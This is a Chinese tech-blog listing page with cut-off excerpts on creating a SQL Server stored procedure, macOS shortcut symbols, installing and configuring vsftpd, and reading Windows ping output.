在student数据库中,创建一个名为ST_CHAXUN_01的存储过程,该存储过程返回计算机系学生的“姓名”、“性别”、“出生日期”信息。 操作步骤如下: ① 在“对象资源管理器”窗格中,展开“数据库”结点。 ② 单击相应的数据库&#…...
macOS 15.1.1 (24B2091) 系统中快捷键符号及其代表的按键的对照表
以下是 macOS 15.1.1 (24B2091) 系统中快捷键符号及其代表的按键的对照表: 符号按键名称描述⌘Command (Cmd)常用的功能键,用于执行大多数快捷操作。⌥Option (Alt)Option 键,常用于辅助操作和特殊字符输入。⇧ShiftShift 键,常用…...
ftp服务器搭建-安装、配置及验证
ftp服务器搭建-安装、配置及验证 #安装 sudo apt-get install vsftpd #配置文件 cat > /etc/vsftpd.conf << "EOF" listenNO listen_ipv6YES anonymous_enableNO local_enableYES write_enableYES dirmessage_enableYES use_localtimeYES xferlog_enable…...
windows ping 执行过程分析
控制台 PS C:\Users\Admin> ping mcs.zijieapi.com正在 Ping mcs.zijieapi.com [223.109.117.226] 具有 32 字节的数据: 来自 223.109.117.226 的回复: 字节32 时间31ms TTL49 来自 223.109.117.226 的回复: 字节32 时间30ms TTL49 来自 223.109.117.226 的回复: 字节32 时…...